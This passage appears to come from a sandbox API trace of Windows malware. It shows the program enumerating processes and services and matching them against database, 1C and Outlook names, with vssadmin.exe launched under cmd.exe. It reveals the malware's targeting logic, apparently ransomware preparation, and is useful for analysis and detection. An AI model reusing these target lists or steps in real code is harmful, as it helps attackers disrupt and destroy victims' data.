(lpString1="1c8.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0212.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0212.491] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.492] lstrlenW (lpString="lsass.exe") returned 9 [0212.492] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0212.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0212.494] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0212.494] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0212.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0212.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0212.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0212.494] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.495] lstrlenW (lpString="lsm.exe") returned 7 [0212.498] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0212.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0212.498] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0212.498] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0212.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0212.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0212.500] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0212.500] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.505] lstrlenW (lpString="svchost.exe") returned 11 [0212.505] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.505] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.505] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.505] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.506] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.506] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.508] lstrlenW (lpString="svchost.exe") returned 11 [0212.508] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.508] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.508] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.509] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.509] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.509] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.510] lstrlenW (lpString="svchost.exe") returned 11 [0212.511] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.511] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.511] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.512] lstrlenW (lpString="svchost.exe") returned 11 [0212.514] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.514] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.514] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.514] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.514] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.514] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.515] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.517] lstrlenW (lpString="svchost.exe") returned 11 [0212.517] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.517] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.518] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.518] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.518] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.791] lstrlenW (lpString="audiodg.exe") returned 11 [0212.791] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0212.791] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0212.791] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0212.791] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0212.791] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0212.791] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0212.791] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0212.792] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.793] lstrlenW (lpString="svchost.exe") returned 11 [0212.793] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0212.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0212.794] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0212.794] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0212.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0212.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0212.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0212.794] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0212.796] lstrlenW (lpString="userinit.exe") returned 12 [0212.796] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0212.796] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0212.796] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0212.796] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0212.796] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0212.796] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0212.800] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0212.801] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.803] lstrlenW (lpString="explorer.exe") returned 12 [0212.803] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.804] lstrlenW (lpString="dwm.exe") returned 7 [0212.804] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.806] lstrlenW (lpString="svchost.exe") returned 11 [0212.806] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0212.807] lstrlenW (lpString="driver.exe") returned 10 [0212.807] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.810] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.810] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.812] lstrlenW (lpString="taskhost.exe") returned 12 [0212.812] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.814] lstrlenW (lpString="svchost.exe") returned 11 [0212.814] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0212.815] lstrlenW (lpString="dllhost.exe") returned 11 [0212.815] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.816] lstrlenW (lpString="cmd.exe") returned 7 [0212.816] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0212.819] lstrlenW (lpString="reader_sl.exe") returned 13 [0212.819] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.822] lstrlenW (lpString="conhost.exe") returned 11 [0212.822] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.824] lstrlenW (lpString="vssadmin.exe") returned 12 [0212.824] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0212.825] CloseHandle (hObject=0x288) returned 1 [0212.825] Sleep (dwMilliseconds=0x1f4) [0213.411] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c2ff0 [0213.419] EnumServicesStatusExW (in: hSCManager=0x41c2ff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0213.423] GetLastError () returned 0xea [0213.423] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xacc) returned 0x4229ce8 [0213.423] EnumServicesStatusExW (in: hSCManager=0x41c2ff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4229ce8, cbBufSize=0xacc, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4229ce8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0213.424] CloseServiceHandle (hSCObject=0x41c2ff0) returned 1 [0213.424] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0213.425] lstrlenW (lpString="AudioSrv") returned 8 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0213.426] lstrlenW (lpString="BFE") returned 3 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0213.426] lstrlenW (lpString="CscService") returned 10 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0213.428] lstrlenW (lpString="DcomLaunch") returned 10 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0213.429] lstrlenW (lpString="Dhcp") returned 4 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0213.429] lstrlenW (lpString="Dnscache") returned 8 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0213.432] lstrlenW (lpString="eventlog") returned 8 [0213.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0213.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0213.432] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0213.433] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0213.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0213.433] lstrlenW (lpString="EventSystem") returned 11 [0213.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0213.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0213.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0213.435] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0213.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0213.435] lstrlenW (lpString="gpsvc") returned 5 [0213.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0213.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0213.436] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0213.436] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0213.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0213.437] lstrlenW (lpString="LanmanWorkstation") returned 17 [0213.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.439] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0213.439] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0213.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0213.439] lstrlenW (lpString="lmhosts") returned 7 [0213.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0213.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0213.440] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0213.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0213.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0213.441] lstrlenW (lpString="MMCSS") returned 5 [0213.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0213.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0213.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0213.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0213.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0213.441] lstrlenW (lpString="MpsSvc") returned 6 [0213.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0213.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0213.442] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0213.442] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0213.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0213.444] lstrlenW (lpString="nsi") returned 3 [0213.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0213.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0213.444] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0213.444] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0213.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0213.444] lstrlenW (lpString="PlugPlay") returned 8 [0213.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0213.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0213.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0213.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0213.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0213.445] lstrlenW (lpString="Power") returned 5 [0213.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0213.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0213.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0213.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0213.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0213.445] lstrlenW (lpString="ProfSvc") returned 7 [0213.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0213.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0213.446] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0213.446] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0213.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0213.446] lstrlenW (lpString="RpcEptMapper") returned 12 [0213.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0213.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0213.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0213.446] lstrlenW (lpString="RpcSs") returned 5 [0213.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0213.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0213.447] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0213.447] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0213.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0213.447] lstrlenW (lpString="SamSs") returned 5 [0213.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0213.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0213.451] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0213.451] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0213.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0213.451] lstrlenW (lpString="Schedule") returned 8 [0213.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0213.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0213.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0213.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0213.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0213.452] lstrlenW (lpString="SENS") returned 4 [0213.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0213.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0213.452] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0213.452] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0213.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0213.452] lstrlenW (lpString="ShellHWDetection") returned 16 [0213.453] 